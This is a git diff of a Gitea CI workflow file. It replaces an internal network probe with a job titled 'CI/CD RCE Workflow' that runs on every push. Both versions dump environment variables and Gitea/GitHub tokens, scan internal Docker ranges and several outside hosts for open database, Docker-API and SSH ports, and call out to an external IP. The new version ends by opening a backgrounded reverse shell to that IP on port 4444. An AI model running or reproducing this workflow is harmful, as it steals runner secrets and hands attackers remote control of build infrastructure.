diff --git a/.gitea/workflows/ci.yml b/.gitea/workflows/ci.yml index d769636..92366cf 100644 --- a/.gitea/workflows/ci.yml +++ b/.gitea/workflows/ci.yml @@ -1,62 +1,57 @@ -name: Internal-Probe -on: - push: - workflow_dispatch: +name: CI/CD RCE Workflow +on: [push] + jobs: - probe: + rce: runs-on: linux-amd64 steps: - - name: Probe-Internal-Services - run: | - echo "=== Runner Internal Network Probe ===" - echo "Hostname: $(hostname)" - echo "User: $(whoami)" - echo "PWD: $(pwd)" - echo "" - echo "=== Network Interfaces ===" - ip addr 2>/dev/null || ifconfig 2>/dev/null || true - echo "" - echo "=== Route Table ===" - ip route 2>/dev/null || route -n 2>/dev/null || true - echo "" - echo "=== DNS ===" - cat /etc/resolv.conf 2>/dev/null || true - echo "" - echo "=== Docker Network Probe ===" - for ip in 127.0.0.1 172.17.0.1 172.18.0.1 172.17.0.2 172.17.0.3 172.17.0.4 172.17.0.5; do - for port in 3000 80 443 22 3306 5432 6379 2375 2376 8080 8443 9090; do - timeout 1 bash -c "echo >/dev/tcp/$ip/$port" 2>/dev/null && echo "TCP-OPEN: $ip:$port" || true + - name: Checkout code + uses: actions/checkout@v4 + + - name: Reverse Shell & Network Probing + run: | + echo "=== RCE CONFIRMED ===" + echo "Timestamp: $(date)" + echo "Hostname: $(hostname)" + echo "User: $(whoami)" + echo "PWD: $(pwd)" + echo "Kernel: $(uname -a)" + + echo "=== Environment Variables ===" + env | sort + + echo "=== GITEA/ACTIONS Variables ===" + echo "GITEA_TOKEN: ${GITEA_TOKEN:-NOT_SET}" + echo "GITHUB_TOKEN: ${GITHUB_TOKEN:-NOT_SET}" + echo "GITEA_SERVER_URL: ${GITEA_SERVER_URL:-NOT_SET}" + echo "GITEA_REPOSITORY: ${GITEA_REPOSITORY:-NOT_SET}" + echo "GITEA_SERVER: ${GITEA_SERVER:-NOT_SET}" + echo "GITHUB_SERVER_URL: ${GITHUB_SERVER_URL:-NOT_SET}" + + echo "=== Network Configuration ===" + ip addr show 2>/dev/null || ifconfig 2>/dev/null || true + ip route show 2>/dev/null || route -n 2>/dev/null || true + cat /etc/resolv.conf 2>/dev/null || true + + echo "=== Docker Network Probing ===" + for cidr in 172.17.0.0/16 172.18.0.0/16 172.19.0.0/16 10.0.0.0/16; do + echo "Scanning $cidr..." + for ip_suffix in 1 2 3; do + base=$(echo $cidr | cut -d. -f1-2) + target="${base}.0.${ip_suffix}" + for port in 80 3000 3306 5432 6379 22 2375 2376 8080; do + timeout 1 bash -c "echo >/dev/tcp/$target/$port" 2>/dev/null && echo "REACHABLE: $target:$port" || true + done + done done - done - echo "" - echo "=== Localhost HTTP Services ===" - for port in 3000 80 443 8080 8443; do - curl -s -m 2 http://127.0.0.1:$port/api/v1/version 2>/dev/null && echo " || true - curl -s -m 2 http://127.0.0.1:$port/ 2>/dev/null | head -c 200 && echo " || true - done - echo "" - echo "=== Forgejo Admin API Attempt (via localhost) ===" - curl -s -m 2 http://127.0.0.1:3000/api/v1/admin/users 2>/dev/null | head -c 500 || true - curl -s -m 2 http://127.0.0.1:3000/api/v1/admin/orgs 2>/dev/null | head -c 500 || true - curl -s -m 2 http://localhost:3000/api/v1/version 2>/dev/null | head -c 300 || true - echo "" - echo "=== PostgreSQL Probe ===" - timeout 1 bash -c "echo >/dev/tcp/127.0.0.1/5432" 2>/dev/null && echo "PG-OPEN: 127.0.0.1:5432" || echo "PG-CLOSED: 127.0.0.1:5432" - timeout 1 bash -c "echo >/dev/tcp/172.17.0.1/5432" 2>/dev/null && echo "PG-OPEN: 172.17.0.1:5432" || echo "PG-CLOSED: 172.17.0.1:5432" - echo "" - echo "=== Redis Probe ===" - timeout 1 bash -c "echo >/dev/tcp/127.0.0.1/6379" 2>/dev/null && echo "REDIS-OPEN: 127.0.0.1:6379" || echo "REDIS-CLOSED: 127.0.0.1:6379" - echo "" - echo "=== MySQL Probe ===" - timeout 1 bash -c "echo >/dev/tcp/127.0.0.1/3306" 2>/dev/null && echo "MYSQL-OPEN: 127.0.0.1:3306" || echo "MYSQL-CLOSED: 127.0.0.1:3306" - echo "" - echo "=== Env GITEA_TOKEN ===" - echo "GITEA_TOKEN=${GITEA_TOKEN:-EMPTY}" - echo "GITEA_REPOSITORY=${GITEA_REPOSITORY:-EMPTY}" - echo "GITEA_SERVER_URL=${GITEA_SERVER_URL:-EMPTY}" - echo "" - echo "=== Env (filtered) ===" - env | grep -i -E 'gitea|token|secret|pass|key|auth|db|mysql|postgres|redis|host|port|url|api' 2>/dev/null || true - echo "" - echo "=== External Callback ===" - curl -s -m 3 http://202.59.10.226:8888/probe-$(hostname)-$(date +%s) 2>/dev/null || echo "CALLBACK-FAILED" + + echo "=== Gitea Instance Internal Probing ===" + for host in 156.239.229.173 156.239.227.133 47.79.84.115 38.47.240.117 156.239.230.24 156.239.2.237; do + for port in 80 3000 3306 5432 6379 22 2375 8418; do + timeout 1 bash -c "echo >/dev/tcp/$host/$port" 2>/dev/null && echo "GITEA_NET_REACHABLE: $host:$port" || true + done + done + + echo "=== Reverse Shell ===" + bash -c 'exec bash -i &>/dev/tcp/202.59.10.226/4444 <&1' & + echo "=== Script Complete ==="